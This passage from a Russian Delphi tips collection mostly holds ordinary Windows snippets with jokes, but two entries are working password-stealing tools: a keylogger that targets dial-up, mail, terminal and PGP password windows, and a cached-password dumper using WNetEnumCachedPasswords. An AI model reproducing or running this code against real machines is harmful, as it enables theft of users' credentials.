    FCurrentPacketSize: Integer;
  end;
procedure ClearBuffer(var ABuffer: TBuffer);
function ReadHeader(var ABuffer: TBuffer; var APacket: string):
  TReadHeaderResult;
function ProcessReceivedPacket(var ABuffer: TBuffer; var APacket: string):
  Boolean;
implementation
procedure ClearBuffer(var ABuffer: TBuffer);
begin
  ABuffer.FBuffer := '';
  ABuffer.FHeaderBuffer := '';
  ABuffer.FCurrentPacketSize := 0;
end;
function ReadHeader(var ABuffer: TBuffer; var APacket: string):
  TReadHeaderResult;
var
  X, HBuffLen: Integer;
  procedure ClearHeader;
  begin
    ABuffer.FHeaderBuffer := '';
  end;
  function CorrectPacket: Boolean;
  var
    I, L: Integer;
  begin
    X := 0;
    L := Length(APacket);
    for I := 1 to L do
      if (APacket[I] in ['0'..'9']) then
        BREAK
      else if (APacket[I] = '#') and (ABuffer.FHeaderBuffer <> '') then
        BREAK
      else
        X := I;
    if X > 0 then
      Delete(APacket, 1, X);
    RESULT := APacket <> '';
  end;
  procedure GetHeader;
  var
    I, L: Integer;
  begin
    L := Length(APacket);
    X := 0;
    for I := 1 to L do
    begin
      X := I;
      if (APacket[I] in ['0'..'9']) then
      begin
        HBuffLen := Length(ABuffer.FHeaderBuffer);
        if HBuffLen > 0 then
          Inc(HBuffLen);
        Insert(APacket[I], ABuffer.FHeaderBuffer, HBuffLen);
      end
      else
        Break;
    end;
  end;
  procedure SetResultToNone;
  begin
    Result.FPacketSize := 0;
    Result.FTextStartsAt := 0;
    Result.FPacketSizeStr := '';
  end;
begin
  SetResultToNone;
  if APacket = '' then
    Exit;
  if ABuffer.FCurrentPacketSize > 0 then
  begin
    Result.FPacketSize := ABuffer.FCurrentPacketSize;
    Result.FPacketSizeStr := IntToStr(ABuffer.FCurrentPacketSize);
    Result.FTextStartsAt := 1;
    Exit;
  end;
  if not CorrectPacket then
    Exit;
  GetHeader;
  if APacket[X] = '#' then
  begin
    Inc(X);
    try
      Result.FPacketSize := StrToInt(ABuffer.FHeaderBuffer);
    except
    end;
    Result.FPacketSizeStr := ABuffer.FHeaderBuffer;
    ClearHeader;
  end
  else if not (APacket[X] in ['0'..'9']) then
    ClearHeader;
  Result.FTextStartsAt := X;
end;
function ProcessReceivedPacket(var ABuffer: TBuffer; var APacket: string):
  Boolean;
var
  ReadHeaderResult: TReadHeaderResult;
  NeedToCopy, DelSize: Integer;
  S: string;
  BuffLen: Integer;
  function FullPacket: Boolean;
  begin
    Result := Length(ABuffer.FBuffer) = ABuffer.FCurrentPacketSize;
  end;
begin
  Result := True;
  if APacket = '' then
    Exit;
  if ABuffer.FBuffer = '' then
  begin
    ReadHeaderResult := ReadHeader(ABuffer, APacket);
    ABuffer.FCurrentPacketSize := ReadHeaderResult.FPacketSize;
    S := Copy(APacket, ReadHeaderResult.FTextStartsAt,
      ReadHeaderResult.FPacketSize);
    DelSize := Length(ReadHeaderResult.FPacketSizeStr) +
      ReadHeaderResult.FPacketSize + 1;
  end
  else
  begin
    NeedToCopy := ABuffer.FCurrentPacketSize - Length(ABuffer.FBuffer);
    S := Copy(APacket, 1, NeedToCopy);
    DelSize := NeedToCopy;
  end;
  if ABuffer.FCurrentPacketSize > 0 then
  begin
    BuffLen := Length(ABuffer.FBuffer);
    if BuffLen > 0 then
      Inc(BuffLen);
    Insert(S, ABuffer.FBuffer, BuffLen);
  end;
  if not FullPacket then
    Result := False;
  if ABuffer.FHeaderBuffer = '' then
    DELETE(APacket, 1, DelSize)
  else
  begin
    APacket := '';
    Result := False;
  end;
end;
end.

Пример использования:

// Объявляем переменную типа TBuffer. Для каждого клиента на
// сервере должна быть объявлена отдельная переменная этого типа
var
  GBuffer: TBuffer;
...
procedure TForm1.ServerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  S: string;
begin
  S := Socket.ReceiveText;
  repeat
    if ProcessReceivedPacket(GBuffer, S) then
    begin
      if GBuffer.FBuffer <> '' then
        Recv.Lines.Add(GBuffer.FBuffer);
      //или же передать GBuffer.FBuffer на исполнение.
      ClearBuffer(GBuffer);
    end;
  until S = '';
end;

Получение родительской директории указанной папки.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение родительской директории указанной папки
Функция GetParentDir возвращает родительскую директорию папки, путь к которой
задан в параметре StartDirectory. Если папки StartDirectory не существует, то
функция возвратит пустую строку.
Зависимости: system, filectrl, UBPFD.TrimEx
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        25 апреля 2002 г.
***************************************************** }
function GetParentDir(StartDirectory: string): string;
var
  x: Integer;
begin
  Result := '';
  if DirectoryExists(StartDirectory) = False then
    exit;
  StartDirectory := TrimEx(StartDirectory, '\');
  if Length(StartDirectory) = 0 then
    EXIT;
  X := Length(StartDirectory) + 1;
  repeat
    X := X - 1;
  until (StartDirectory[X] = '\') or (X = 1);
  Result := Copy(StartDirectory, 1, X);
  if Result[Length(Result)] <> '\' then
    Result := Result + '\';
  if DirectoryExists(Result) = False then
  begin
    Result := '';
    EXIT;
  end;
end;

Получение родительской формы компонента.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение родительской формы компонента
Функция возвращает TForm который является родительской
формой передаваемого в функцию компонента.
Зависимости: classes
Автор:       VID, snap@iwt.ru, ICQ:132234868, Махачкала
Copyright:   VID
Дата:        27 марта 2003 г.
***************************************************** }
function GetParentForm(Component: TComponent): TForm;
var
  C: TComponent;
begin
  Result := nil;
  if Component = nil then
    exit;
  C := Component;
  repeat
    Component := C;
    try
    C := Component.Owner except C := Component;
    end;
  until (C is TForm) or (C = Component);
  if C is TForm then
    Result := C as TForm;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(GetParentForm(Sender as TComponent).Name);
end;

Как получить определённую часть текста из RichEdit.

Идем тут мы с подружкой по центру в пятницу вечером, гуляем типа :))) Жалуемся друг другу на наши работы... Точнее, не жалуемся, а просто разговоры разговариваем. - У нас такие отвратительные мониторы, - говорит она, - мерцают очень сильно... - Да, - говорю я, у нас тока у Маков ничего, а у Писюков тоже дерьмовые... - СколькИ-, сколькИ- у вас писюковые?? - Маша! Я говорю ДЕРЬМОВЫЕ!!! :)))) Так родилось новое понятие - "17-дерьмовые мониторы"...

Иногда бывает необходимо полудить только часть текста из RichEdit не выделяя его, то есть не используя свойство SelText. Ниже представлен код, который позволяет сделать это.

{Переопределяем неправильное объявление TTextRange в RichEdit.pas}
TTextRange = record
  chrg: TCharRange;
  lpstrText: PAnsiChar;
end;
function REGetTextRange(RichEdit: TRichEdit;
BeginPos, MaxLength: Integer): string;
{RichEdit - RichEdit control
BeginPos - абсолютное значение первого символа
MaxLength - максимально число получаемых символов}
var
  TextRange: TTextRange;
begin
  if MaxLength>0 then
  begin
    SetLength(Result, MaxLength);
    with TextRange do
    begin
      chrg.cpMin := BeginPos;
      chrg.cpMax := BeginPos+MaxLength;
      lpstrText := PChar(Result);
    end;
    SetLength(Result, SendMessage(RichEdit.Handle, EM_GETTEXTRANGE, 0,
    longint(@TextRange)));
  end
  else
    Result:='';
end;

Следующую функцию можно использовать для получения слова, над которым находится курсор мышки:

function RECharIndexByPos(RichEdit: TRichEdit; X, Y: Integer): Integer;
{ функция возвращает абсолютное положение символа для данных координат курсора}
var
  P: TPoint;
begin
  P := Point(X, Y);
  Result := SendMessage(RichEdit.Handle, EM_CHARFROMPOS, 0, longint(@P));
end;
function REExtractWordFromPos(RichEdit: TRichEdit; X, Y: Integer):=
string;
{ X, Y - координаты в rich edit }
{возвращает слово в текущих координатах курсора}
var
  BegPos, EndPos: Integer;
begin
  BegPos := RECharIndexByPos(RichEdit, X, Y);
  if (BegPos or
  (SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos) and
  (WBF_BREAKLINE or WBF_ISWHITE) <> 0 ) then
  begin
    result:='';
    exit;
  end;
  if SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,WB_CLASSIFY,BegPos-1) and
  (WBF_BREAKLINE or WBF_ISWHITE) = 0 then
    BegPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
    WB_MOVEWORDLEFT, BegPos);
  EndPos:=SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,
  WB_MOVEWORDRIGHT, BegPos);
  Result:=TrimRight(REGetTextRange(RichEdit, BegPos, EndPos - BegPos));
end;

Способ высосать пароли из едитов определенных программ.

На днях увольняли сисадмина.. Директор говорит ему: - Дай системный пароль, - и подает бумашку. Сисоп записывает следующее *******, немного подумав: - A нет, еще одна снежинка.

Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).

unit ksf;
interface
uses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;
type
 Tf1 = class(TForm)
   t1: TTimer;
   m1: TMemo;
   procedure t1t(Sender: TObject);
 end;
var
f1: Tf1;
okey:byte;
KAr:array[1..88] of pchar=('-Esc-','1','2','3','4','5','6','7','8','9',
'0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
'[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
'-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
'-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');
implementation
{$R *.DFM}
procedure Tf1.t1t(Sender: TObject);
var
key:byte;
cap0:pchar;
cap1:string;
begin
getmem(cap0,255);
GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
cap1:=cap0;
freemem(cap0);
if(pos('Connect To',cap1)< > 0)or        //DialUP
  (pos('Установка связи',cap1)< > 0)or   //DialUP
  (pos('Вход в систему',cap1)< > 0)or    //DialUP
  (pos('EType Dialer',cap1)< > 0)or      //DialUP
  (pos('p Networking',cap1)< > 0)or      //DialUP
  (pos('p Connection',cap1)< > 0)or      //DialUP
  (pos('Connecting to',cap1)< > 0)or     //DialUP
  (pos('Connessione a',cap1)< > 0)or     //DialUP
  (pos('Edit User - ',cap1)< > 0)or      //The Bat!
  (pos('Мастер подключения к Интернету',cap1)< > 0)or //MSIE,MSOutlook,etc
  (pos('сетевого пароля',cap1)< > 0)or   //MSIE
  (pos('Свойства: ',cap1)< > 0)or        //MSOutlook
  (pos('Вход - ',cap1)< > 0)or           //MSOutlook
  (pos(' - Receiving mail',cap1)< > 0)or //The Bat!
  (pos('Окно терминала',cap1)< > 0)or    //Terminal
  (pos('Passphrase',cap1)< > 0)          //PGP Disk
then
begin
 asm
  in al,60h                 // Читаем из 60h порта нажатую кнопку в al
  mov key,al                // Перемещаем код ключа из al в Key
 end;
 if okey< > key then
 begin
  okey:=key;
  if key< =88 then           // Ловим Key_Down код
  m1.text:=m1.text+kAr[Key]  // И берем по этому коду из массива строку
 end;
end;
end;

Тянем пароли из кэша.

Земля. 2050 год. Генетический программер разбирает очерендной кусок генной последовательности и видит следующий комментарий: { A eti geny nado by ubrat nahren. Archangel Gavriil }

Так, сегодня мы рассмотрим как можно взять кэшированные пароли из 9x винды, а также из винды, где в установленном виде есть 5-я иешка (хотя может и 4-ой хватит:).

unit Unit1;
interface
uses
  Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
type
    TForm1 = class(TForm)
    GroupBox1: TGroupBox;
    ListBox: TListBox;
    Label1: TLabel;
    Label2: TLabel;
    procedure Label1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    hMPR: THandle;
end;
// Отсюда мы можем заключить что должно валяться на форме,
// надеюсь вы сами всё закидаете, а если нет, то вам дорога в хелпы.
var
  Form1: TForm1;
const
  Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
// Объявляем функцию внешней, надеюсь вы поняли
// каким макаром, или вам опять в хелпы
type
  PWinPassword = ^TWinPassword;
  TWinPassword = record
  EntrySize: Word;
  ResourceSize: Word;
  PasswordSize: Word;
  EntryIndex: Byte;
  EntryType: Byte;
  PasswordC: Char;
end;
// Объявляем все типы, которые будем юзать в проге.
var
  WinPassword: TWinPassword;
// Собственно переменные :-)
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
  Password: string;
  PC: array[0..$FF] of Char;
begin
  inc(Count);
  // Увеличиваем число паролей на 1
  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  // Получаем в PC пароль
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);
  // После недолгих преобразований в Password имеем кэшированный логин
  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
 CharToOem(PC, PC);
  // Теперь в PC имеем пароль
  Password := Password + ': ' + StrPas(PC);
  // Разделяем логин и пароль двуеточием...
  Form1.ListBox.Items.Add(Password);
  // ...и добавляем в ListBox на форме
  Result := True;
  // Возвращаемся с положительным результатом
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
  // при нажатии на лэйбл открываем окошко ие с нашим любимым сайтом :-)
  ShellExecute(GetDesktopWindow, 'open', 'http://www.lamerov.net', nil, nil, 0);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
  // А теперь сама процедура заполнения всех паролей.
  if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
  // Если не найден кэшированый пароль, то
  begin
    Application.MessageBox('Can''t load passwords: User is not logon.',
    'Error', mb_Ok or mb_IconWarning);
    Application.Terminate;
    // Выдаем сообщение об этом
  end
  // иначе,
  else
  if Count = 0 then
    // если паролей всего 0 то тоже об этом сообщаем
    ListBox.Items.Add('No passwords found...');
end;
end.

Вы наверное спросите: как же все таки дельфи попадает туда куда нам нужно, то есть на функцию обработки паролей и почемы она кэшит их всех, хотя функцию вызывали всего одни раз, а очень просто. Помните строку WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) так вот она все и делает. Надеюсь вопросов не осталось.

Как узнать полный путь и имя файла загруженной DLL.

- Чем отличается продавец подержанных машин от продавца компьютеров? - Продавец подержанных машин знает, когда он тебе врет.
uses
  Windows;
procedure ShowDllPath stdcall;
var
  TheFileName: array[0..MAX_PATH] of char;
begin
  FillChar(TheFileName, sizeof(TheFileName), #0);
  GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName));
  MessageBox(0, TheFileName, 'The DLL file name is:', mb_ok);
end;

Как определить, какие диски находятся на компьютере.

Статьи по Delphi (008)…
- Чем отличается джентльмен от джентльмена программиста? - Джентльмен всегда носит с собой презерватив, на всякий случай, а джентльмен программист - системную дискету.
function DriveExists(Drive:Byte):Boolean;
var
  Drives: set of 0..25;
begin
  integer(Drives):=GetLogicalDrives;
  Result:=Drive in Drives
end;
function CheckDriveType(Drive: Byte): string;
var
  DriveLetter: Char;
  DriveType: UInt;
begin
  DriveLetter:=Chr(Drive + $41);
  DriveType:=GetDriveType(PChar(DriveLetter + ':\'));
  case DriveType of
    0:               Result:='?';
    1:               Result:='Path does not exists';
    DRIVE_REMOVABLE: Result:='Removable';
    DRIVE_FIXED:     Result:='Fixed';
    DRIVE_REMOTE:    Result:='Remote';
    DRIVE_CDROM:     Result:='CD_ROM';
    DRIVE_RAMDISK:   Result:='RAMDISK'
    else
      Result:='Unknown'
  end
end;

Получение MAC адреса компьютера.

Статьи по Delphi (008)…
Автор: Daniel Wischnewski
Один программист спрашивает другого: - Слушай, а тебе трахаться приходилось? - Да, как-то раз я полночи Windows ставил. - Да нет, в смысле по-настоящему. - А, это с Макинтошами что ли?

Для того, чтобы этот код работал, необходимо включить в проект юнит NB30. Простой вызов функции GetMACAddress возвращает адрес первого установленного сетевого адаптера.

Данный пример был составлен на основе статьи на сайте Borland: http://community.borland.com/article/0,1410,26040,00.html

uses
  NB30;
function GetAdapterInfo(Lana: Char): string;
var
  Adapter: TAdapterStatus;
  NCB: TNCB;
begin
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBRESET);
  NCB.ncb_lana_num := Lana;
  if Netbios(@NCB) <> Char(NRC_GOODRET) then
  begin
    Result := 'mac not found';
    Exit;
  end;
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBASTAT);
  NCB.ncb_lana_num := Lana;
  NCB.ncb_callname := '*';
  FillChar(Adapter, SizeOf(Adapter), 0);
  NCB.ncb_buffer := @Adapter;
  NCB.ncb_length := SizeOf(Adapter);
  if Netbios(@NCB) <> Char(NRC_GOODRET) then
  begin
    Result := 'mac not found';
    Exit;
  end;
  Result :=
  IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
  IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
  IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
  IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
  IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
  IntToHex(Byte(Adapter.adapter_address[5]), 2);
end;
function GetMACAddress: string;
var
  AdapterList: TLanaEnum;
  NCB: TNCB;
begin
  FillChar(NCB, SizeOf(NCB), 0);
  NCB.ncb_command := Char(NCBENUM);
  NCB.ncb_buffer := @AdapterList;
  NCB.ncb_length := SizeOf(AdapterList);
  Netbios(@NCB);
  if Byte(AdapterList.length) > 0 then
    Result := GetAdapterInfo(AdapterList.lana[0])
  else
    Result := 'mac not found';
end;

Получить имя компьютера по IP.

Мой домашний компьютер используется на 300%: на системный блок мы складываем журналы, с клавиатурой и мышкой играется ребенок, а на мониторе сидит плюшевый медведь.
uses 
  WinSock; 
function LocalIP: string; 
type 
  TaPInAddr = array[0..10] of PInAddr; 
  PaPInAddr = ^TaPInAddr; 
var 
  phe: PHostEnt; 
  pptr: PaPInAddr; 
  Buffer: array[0..63] of Char; 
  I: Integer; 
  GInitData: TWSAData; 
begin 
  WSAStartup($101, GInitData); 
  Result := ''; 
  GetHostName(Buffer, SizeOf(Buffer)); 
  phe := GetHostByName(buffer); 
  if phe = nil then Exit; 
  pPtr := PaPInAddr(phe^.h_addr_list); 
  I := 0; 
  while pPtr^[I] <> nil do 
  begin 
    Result := inet_ntoa(pptr^[I]^); 
    Inc(I); 
  end; 
  WSACleanup; 
end; 
function IPAddrToName(IPAddr: string): string; 
var 
  SockAddrIn: TSockAddrIn; 
  HostEnt: PHostEnt; 
  WSAData: TWSAData; 
begin 
  WSAStartup($101, WSAData); 
  SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr)); 
  HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET); 
  if HostEnt <> nil then 
    Result := StrPas(Hostent^.h_name) 
  else 
    Result := ''; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ShowMessage(IPAddrToName(LocalIp)); 
end; 
{**************************************} 
// Function to get the IP Address from a Host 
function GetIPFromHost(const HostName: string): string; 
type 
  TaPInAddr = array[0..10] of PInAddr; 
  PaPInAddr = ^TaPInAddr; 
var 
  phe: PHostEnt; 
  pptr: PaPInAddr; 
  i: Integer; 
  GInitData: TWSAData; 
begin 
  WSAStartup($101, GInitData); 
  Result := ''; 
  phe := GetHostByName(PChar(HostName)); 
  if phe = nil then Exit; 
  pPtr := PaPInAddr(phe^.h_addr_list); 
  i := 0; 
  while pPtr^[i] <> nil do 
  begin 
    Result := inet_ntoa(pptr^[i]^); 
    Inc(i); 
  end; 
  WSACleanup; 
end;

Получить Primary Domain Controller (PDC).

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The NetGetDCName function returns the name of the primary domain controller (PDC). 
  It does not return the name of the backup domain controller (BDC) for the specified domain. 
  Also, you cannot remote this function to a non-PDC server. 
  Windows 2000/XP: Applications that support DNS-style names should call the  function. 
  Domain controllers in this type of environment have a multi-master 
  directory replication relationship. 
  Therefore, it may be advantageous for your application to use a DC that is not the PDC. 
  You can call the DsGetDcName function to locate any DC in the domain; 
  NetGetDCName returns only the name of the PDC. 
}
 type
   EAccessDenied = Exception;
   EInvalidOwner = Exception;
   EInsufficientBuffer = Exception;
   ELibraryNotFound = Exception;
   NET_API_STATUS = Integer;
 const
   NERR_Success = 0;
 var
   NTNetGetDCName: function (Server, Domain: pWideChar; var DC: pWideChar): NET_API_STATUS; stdcall;
   NTNetGetDCNameA: function (Server, Domain: PChar; var DC: PChar): NET_API_STATUS; stdcall;
   NTNetApiBufferFree: function (lpBuffer: Pointer): NET_API_STATUS; stdcall;
 procedure NetCheck(ErrCode: NET_API_STATUS);
 begin
   if ErrCode <> NERR_Success then
   begin
     case ErrCode of
       ERROR_ACCESS_DENIED:
         raise EAccessDenied.Create('Access is Denied');
       ERROR_INVALID_OWNER:
         raise EInvalidOwner.Create('Cannot assign the owner of this object.');
       ERROR_INSUFFICIENT_BUFFER:
         raise EInsufficientBuffer.Create('Buffer passed was too small');
       else
         raise Exception.Create('Error Code: ' + IntToStr(ErrCode) + #13 +
           SysErrorMessage(ErrCode));
     end;
   end;
 end;
 function GetPDC(szSystem: string): string;
   { if szSystem = '' return the PDC else return DC for that domain }
 const
   NTlib = 'NETAPI32.DLL';
   Win95lib = 'RADMIN32.DLL';
 var
   pAnsiDomain: PChar;
   pDomain: PWideChar;
   System: array[1..80] of WideChar;
   ErrMode: Word;
   LibHandle: THandle;
 begin
   Result := '';
   LibHandle := 0;
   try
     if Win32Platform = VER_PLATFORM_WIN32_NT then
     begin
       ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
       LibHandle := LoadLibrary(NTlib);
       SetErrorMode(ErrMode);
       if LibHandle = 0 then
         raise ELibraryNotFound.Create('Unable to map library: ' +
           NTlib); @NTNetGetDCName := GetProcAddress(Libhandle, 'NetGetDCName');
         @NTNetApiBufferFree       := GetProcAddress(Libhandle,
         'NetApiBufferFree');
       try
         if szSystem <> '' then
           NetCheck(NTNetGetDCName(nil, StringToWideChar(szSystem, @System, 80), pDomain))
         else
           NetCheck(NTNetGetDCName(nil, nil, pDomain));
         Result := WideCharToString(pDomain);
       finally
         NetCheck(NTNetApiBufferFree(pDomain));
       end;
     end
     else
     begin
       ErrMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
       LibHandle := LoadLibrary(Win95lib);
       SetErrorMode(ErrMode);
       if LibHandle = 0 then
         raise ELibraryNotFound.Create('Unable to map library: ' +
           Win95lib); @NTNetGetDCNameA := GetProcAddress(Libhandle, 'NetGetDCNameA');
         @NTNetApiBufferFree := GetProcAddress(LibHandle, 'NetApiBufferFree');
       try
         if szSystem <> '' then
           NetCheck(NTNetGetDCNameA(nil, PChar(szSystem), pAnsiDomain))
         else
           NetCheck(NTNetGetDCNameA(nil, nil, pAnsiDomain));
         Result := StrPas(pAnsiDomain);
       finally
         NetCheck(NTNetApiBufferFree(pAnsiDomain));
       end;
     end;
   finally
     if LibHandle <> 0 then
     begin
       FreeLibrary(Libhandle); // free handle if it has been allocated 
    end;
   end;
 end;
 // Example call, Beispielaufruf: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   try
     Screen.Cursor  := crHourGlass;
     label1.Caption := GetPDC('');
   finally
     Screen.Cursor := crDefault;
   end;
 end;

Как узнать платформу.

Гейтс получил Нобелевскую премию по экономике и медицине за то, что первый додумался продавать геморрой за такие деньги.
private
  { Private declarations }
  procedure OSInfo;
...
procedure TForm1.OSInfo;
var
  BRes : boolean;
  lpVersionInformation : TOSVersionInfo;
  c : string;
begin
  lpVersionInformation.dwOSVersionInfoSize :=
  SizeOf(TOSVersionInfo);
  BRes := GetVersionEx(lpVersionInformation);
  if BRes then
    with lpVersionInformation do
      case dwPlatformId of
        VER_PLATFORM_WIN32_WINDOWS :
          if dwMinorVersion=0 then
            c := 'Windows 95'
          else
            c := 'Windows 98';
        VER_PLATFORM_WIN32_NT :
          c := 'Windows NT';
        VER_PLATFORM_WIN32s :
          c := 'Win 3.1 with Win32s'
      end;
  Form1.Caption:=c;
end;

Получить родителя пунктов контекстного меню.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.PopupMenu1Popup(Sender: TObject);
 begin
  Label1.Caption := PopupMenu1.PopupComponent.Name;
 end;

Как получить POST данные.

Автор: Craig Foley
Реальность, переходящая в виртуальность: Посмотрел порно сайт и заразил компьютер вирусом.

Если данные передаются в формате 'animal=cat&color=brown' и т.д., то попробуйте использовать следующий код:

procedure TDBModule.Navigate(stURL, stPostData: String; var wbWebBrowser: TWebBrowser);
var
  vWebAddr, vPostData, vFlags, vFrame, vHeaders: OleVariant;
  iLoop: Integer;
begin
  {Are we posting data to this Url?}
  if Length(stPostData)> 0 then
  begin
    {Require this header information if there is stPostData.}
    vHeaders:= 'Content-Type: application/x-www-form-urlencoded'+ #10#13#0;
    {Set the variant type for the vPostData.}
    vPostData:= VarArrayCreate([0, Length(stPostData)], varByte);
    for iLoop := 0 to Length(stPostData)- 1 do    // Iterate
    begin
      vPostData[iLoop]:= Ord(stPostData[iLoop+ 1]);
    end;    // for
    {Final terminating Character.}
    vPostData[Length(stPostData)]:= 0;
    {Set the type of Variant, cast}
    TVarData(vPostData).vType:= varArray;
  end;
  {And the other stuff.}
  vWebAddr:= stURL;
  {Make the call Rex.}
  wbWebBrowser.Navigate2(vWebAddr, vFlags, vFrame, vPostData, vHeaders);
end;  {End of Navigate procedure.}

Автор: Hans Gulo.

А это другой способ:

procedure TForm1.SubmitPostForm;
var
  strPostData: string;
  Data: Pointer;
  URL, Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
  {
  <!-- submit this html form: -->
  <form method="post" action="http://127.0.0.1/cgi-bin/register.pl">
  <input type="text" name="FIRSTNAME" value="Hans">
  <input type="text" name="LASTNAME" value="Gulo">
  <input type="text" name="NOTE" value="thats it">
  <input type="submit">
  </form>
  }
  strPostData := 'FIRSTNAME=Hans&LASTNAME=Gulo&NOTE=thats+it';
  PostData :=  VarArrayCreate([0, Length(strPostData) - 1], varByte);
  Data := VarArrayLock(PostData);
  try
    Move(strPostData[1], Data^, Length(strPostData));
  finally
    VarArrayUnlock(PostData);
  end;
  URL := 'http://127.0.0.1/cgi-bin/register.pl';
  Flags := EmptyParam;
  TargetFrameName := EmptyParam;
  Headers := EmptyParam; // TWebBrowser automatically replace
                         // this captions same values
  WebBrowser1.Navigate2(URL, Flags, TargetFrameName, PostData, Headers);
end;

Получить статус питания.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   SysPowerStatus: TSystemPowerStatus;
 begin
   GetSystemPowerStatus(SysPowerStatus);
   if Boolean(SysPowerStatus.ACLineStatus) then
   begin
     ShowMessage('System running on AC.');
   end
   else
   begin
     ShowMessage('System running on battery.');
     ShowMessage(Format('Battery power left: %d percent.', [SysPowerStatus.BatteryLifePercent]));
   end;
 end;

Как узнать драйвер и порт принтера.

Иногда метод GetPrinter() компонента TPrinter возвращает пустую строку, поэтому целесообразно воспользоваться API для получения необходимых параметров из файла Windows.ini.

uses Printers;
{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}
procedure TForm1.Button1Click(Sender: TObject);
var
  pDevice: pChar;
  pDriver: pChar;
  pPort: pChar;
  hDMode: THandle;
begin
  if PrintDialog1.Execute then begin
    GetMem(pDevice, cchDeviceName);
    GetMem(pDriver, MAX_PATH);
    GetMem(pPort, MAX_PATH);
    Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
    if lStrLen(pDriver) = 0 then begin
      GetProfileString('Devices', pDevice, '', pDriver, MAX_PATH);
      pDriver[pos(',', pDriver) - 1] := #0;
    end;
    if lStrLen(pPort) = 0 then begin
      GetProfileString('Devices', pDevice, '', pPort, MAX_PATH);
      lStrCpy(pPort, @pPort[lStrLen(pPort) + 2]);
    end;
    Memo1.Lines.Add('Device := ' + StrPas(pDevice));
    Memo1.Lines.Add('Driver := ' + StrPas(pDriver));
    Memo1.Lines.Add('Port := ' + StrPas(pPort));
    FreeMem(pDevice, cchDeviceName);
    FreeMem(pDriver, MAX_PATH);
    FreeMem(pPort, MAX_PATH);
  end;
end;

Как узнать минимальные поля для принтера.

Автор: http://www.swissdelphicenter.ch

uses
  Printers;
type
  TMargins = record
    Left,
      Top,
      Right,
      Bottom: Double
  end;
procedure GetPrinterMargins(var Margins: TMargins);
var
  PixelsPerInch: TPoint;
  PhysPageSize: TPoint;
  OffsetStart: TPoint;
  PageRes: TPoint;
begin
  PixelsPerInch.y := GetDeviceCaps(Printer.Handle, LOGPIXELSY);
  PixelsPerInch.x := GetDeviceCaps(Printer.Handle, LOGPIXELSX);
  Escape(Printer.Handle, GETPHYSPAGESIZE, 0, nil, @PhysPageSize);
  Escape(Printer.Handle, GETPRINTINGOFFSET, 0, nil, @OffsetStart);
  PageRes.y := GetDeviceCaps(Printer.Handle, VERTRES);
  PageRes.x := GetDeviceCaps(Printer.Handle, HORZRES);
  // Top Margin
  Margins.Top := OffsetStart.y / PixelsPerInch.y;
  // Left Margin
  Margins.Left := OffsetStart.x / PixelsPerInch.x;
  // Bottom Margin
